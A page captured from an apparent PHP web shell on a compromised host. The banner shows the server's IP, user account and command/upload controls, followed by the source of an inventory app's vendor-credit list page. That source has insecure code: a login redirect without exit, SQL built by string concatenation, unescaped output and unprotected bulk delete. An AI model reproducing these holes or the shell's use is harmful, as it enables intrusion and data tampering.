MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.68
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/www/inventory/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/www/inventory/vendor_credit_list.php
<?php
session_start();
$se = $_SESSION["id"];
if (!isset($_SESSION['id'])) {
    header("Location: login.php");
}
include("include/db.php");;
 
?>
<!doctype html>
<html lang="en">


<!-- Mirrored from themesdesign.in/morvin/layouts/index.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:25:02 GMT -->
<head>

    
    <?php include 'include/head.php'; ?>


</head>


<body>

    <!-- Begin page -->
    <div id="layout-wrapper">

       <?php include 'include/header.php'; ?>

        <!-- ========== Left Sidebar Start ========== -->
        <div class="vertical-menu">
            <?php include 'include/sidebar.php'; ?>
        </div>
        <!-- Left Sidebar End -->

        <!-- ============================================================== -->
        <!-- Start right Content here -->
        <!-- ============================================================== -->
         <div class="main-content">

                <div class="page-content">

                    <!-- start page title -->
                    <div class="page-title-box">
                        <div class="container-fluid">
                         <div class="row align-items-center">
                             <div class="col-sm-6">
                                 <div class="page-title">
                                     <h4>All Vendor Credits  </h4>
                                         <!-- <ol class="breadcrumb m-0">
                                             <li class="breadcrumb-item"><a href="javascript: void(0);">Morvin</a></li>
                                             <li class="breadcrumb-item"><a href="javascript: void(0);">Tables</a></li>
                                             <li class="breadcrumb-item active">Data Tables</li>
                                         </ol> -->
                                         <div class="btn-group moreaction" role="group" >
                                                    <button id="btnGroupVerticalDrop1" type="button" class="btn btn-light dropdown-toggle" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                                                        More Actions <i class="mdi mdi-chevron-down"></i>
                                                    </button>
                                                    <div class="dropdown-menu" aria-labelledby="btnGroupVerticalDrop1" style="">
                                                         <!-- <a class="dropdown-item" id="btn_acti">Mark as Active</a>
                                                        <a class="dropdown-item" id="btn_ina">Mark as Inactive</a> -->
                                                        <a class="dropdown-item" id="btn_">Delete</a>
                                                    </div>
                                                </div>
                                 </div>
                             </div>
                             <div class="col-sm-6">
                                

                                <div class="float-end d-none d-sm-block" style="margin-right: 9px;">
                                    <a href="vendor_credit_add.php" class="btn btn-success"><i class="fa fa-plus" aria-hidden="true"></i>&nbsp;New</a>
                                </div>
                             </div>
                         </div>
                        </div>
                     </div>
                     <!-- end page title -->    


                    <div class="container-fluid">

                        <div class="page-content-wrapper">

                        


                           <!-- end row -->
            
                            <div class="row">
                                <div class="col-12">
                                    <div class="card">
                                        <div class="card-body">
            
                                           <?php
                                                if(@$_SESSION['flash_message'] == 'add') {
                                                  $message = $_SESSION['flash_message'];
                                                  unset($_SESSION['flash_message']); ?>
                                                 <div class="alert alert-success login-error"><?php echo 'Data Added Sucessfully'; ?></div>
                                            <?php  }

                                             if(@$_SESSION['flash_message'] == 'edit') {
                                              $message = $_SESSION['flash_message'];
                                              unset($_SESSION['flash_message']); ?>

                                              <div class="alert alert-success login-error"><?php echo 'Data Edit Sucessfully'; ?></div>
                                             
                                          <?php }

                                           if(@$_SESSION['flash_message'] == 'sdelete') {
                                              $message = $_SESSION['flash_message'];
                                              unset($_SESSION['flash_message']); ?>

                                              <div class="alert alert-danger login-error"><?php echo 'Data Delete Sucessfully '; ?></div>
                                             
                                          <?php }

                                              ?>
            
                                            <table id="datatable-buttons" class="table table-striped table-bordered dt-responsive nowrap" style="border-collapse: collapse; border-spacing: 0; width: 100%;">
                                                <thead>
                                                <tr>
                                                    <th><input id="select_all" class="slect_all" type="checkbox" value="Select All"></th>
                                                    <th>Action</th>
                                                    <th>File</th>
                                                    <th>DATE</th>
                                                    <th>CREDIT NOTE#</th>
                                                    <th>REFERENCE#</th>
                                                    <th>VENDOR NAME</th>
                                                    <th>Amount</th>
                                                    
                                                </tr>
                                                </thead>
            
            
                                                <tbody>
                                                <?php
                                                $count = 1;
                                                $sql = "select * from tbl_vendorcredit ";
                                                $sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));
                                                while ($sql_row = mysqli_fetch_assoc($sql_res)){

                                                $image = $sql_row['file']; 

                                                    $cust_name = $sql_row['cust_name'];
                                                   
                                                   $sqlc = "select * from tbl_vendor where id='$cust_name' ";
                                                     $sql_resc = mysqli_query($con, $sqlc) or die(mysqli_error($con));
                                                     $sql_rowc = mysqli_fetch_assoc($sql_resc);
                                                    
                                                     $sql_rowc['c_name_dis'];
                                                    ?>
                                                    
                                            <tr>
                                               
                                                <td> 
                                                    <div class="form-check mb-2">
                                                            <input class="checkbox" name="ratec" type="checkbox" value="<?php echo $sql_row['id']; ?>" id="sd<?php echo $sql_row['id']; ?>">
                                                            </div>
                                                </td>
                                                <td>
                                                      <a href="./vnote_view.php?id=<?php echo $sql_row['id']; ?>" class=" text-primary">
                                                                <i class="fa fa-eye font-size-18"></i>
                                                            </a>
                                                           
                                                 </td>
                                                 <td>
                                                    <?php 
                                                        if($image != ''){ ?>
                                                             <a href="salesorder/<?php echo $sql_row['file']; ?>" download><i class="fa fa-download"></i></a>
                                                       <?php }else{ ?>
                                                            <?php echo "No File Found "; ?>
                                                       <?php }
                                                         ?>
                                                    
                                                 </td>
                                                 <td><?php echo $sql_row['so_date']; ?></td>
                                                 <td><?php echo $sql_row['so_no']; ?></td>
                                                  <td><?php echo $sql_row['ref_no']; ?></td>
                                                 <td><?php echo $sql_rowc['c_name_dis']; ?></td>
                                                 <td><?php echo $sql_row['total']; ?></td>
                                                  
                                                   
 
                                            </tr>
                                          
                                               <?php $count++;
                                                } ?>
                                                </tbody>
                                            </table>
                                        </div>
                                    </div>
                                </div> <!-- end col -->
                            </div> <!-- end row -->

                        </div>
        
                        
                    </div> <!-- container-fluid -->
                </div>
                <!-- End Page-content -->

              
                
                <footer class="footer">
                 <?php include 'include/footer.php'; ?>
            </footer>
            </div>
        <!-- end main content-->

    </div>
    <!-- END layout-wrapper -->

    <!-- Right Sidebar -->
   
    <!-- /Right-bar -->

    <!-- Right bar overlay-->
    <div class="rightbar-overlay"></div>

    <!-- JAVASCRIPT -->
       <?php include 'include/bscript.php'; ?>


</body>

<script>
        $(document).ready(function() {
            $('.login-error').delay(3000).fadeOut(300);
        });
    </script>
     <script>
$(document).ready(function() {
  //set initial state.
 $('.moreaction').hide();

  $('.slect_all').click(function() {
      
        if (this.checked) {
    $('.checkbox').each(function() {
      this.checked = true;
       $('.moreaction').show();
    });
  } else {
    $('.checkbox').each(function() {
      this.checked = false;
       $('.moreaction').hide();
    });
  }
  });
});
  
</script>

  <script>
// $(document).ready(function() {
//   //set initial state.
//  $('.moreaction').hide();

 
//       $('.checkbox').click(function() {
//         var id = $(this).attr('id').split('e').pop();
//         alert(id);
//         if (this.checked) {
//        $('#sd'+id).(function() {
//       this.checked = true;
//        $('.moreaction').show();
//     });
//   } else {
//     $('#sd'+id).each(function() {
//       this.checked = false;
//        $('.moreaction').hide();
//     });
//   }
//      });
// }); 

  
</script>

<script>
           $(document).ready(function(){             
                   
 $("#btn_").click(function(){
   
    
    var favorite = [];
            $.each($("input[name='ratec']:checked"), function(){
                favorite.push($(this).val());
            });
            // alert("My favourite sports are: " + favorite.join(", "));
             var a =favorite.join(",");
            
         $.ajax
    ({ 
        url: 'Ajax/delete_vnote.php',
        data: {"city": a},
        type: 'post',
        success: function(result)
        {
            alert('Data delete Sucessfully');
            location.reload();
            // window.location.href = "change_rate.php?id="+result;
        }
    });
    
 });
 
});
       </script> 

        <script>
           $(document).ready(function(){             
                   
 $("#btn_ina").click(function(){
   
    
    var favorite = [];
            $.each($("input[name='ratec']:checked"), function(){
                favorite.push($(this).val());
            });
            // alert("My favourite sports are: " + favorite.join(", "));
             var a =favorite.join(",");
            
         $.ajax
    ({ 
        url: 'Ajax/inactive_customer.php',
        data: {"city": a},
        type: 'post',
        success: function(result)
        {
            alert('Customer Deactive Sucessfully');
            location.reload();
            // window.location.href = "change_rate.php?id="+result;
        }
    });
    
 });
 
});
       </script> 

       <script>
           $(document).ready(function(){             
                   
 $("#btn_acti").click(function(){
   
    
    var favorite = [];
            $.each($("input[name='ratec']:checked"), function(){
                favorite.push($(this).val());
            });
            // alert("My favourite sports are: " + favorite.join(", "));
             var a =favorite.join(",");
            
         $.ajax
    ({ 
        url: 'Ajax/active_customer.php',
        data: {"city": a},
        type: 'post',
        success: function(result)
        {
            alert('Customer Active Sucessfully');
            location.reload();
            // window.location.href = "change_rate.php?id="+result;
        }
    });
    
 });
 
});
       </script> 
<!-- Mirrored from themesdesign.in/morvin/layouts/index.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:25:42 GMT -->
</html>

MMCT - 2023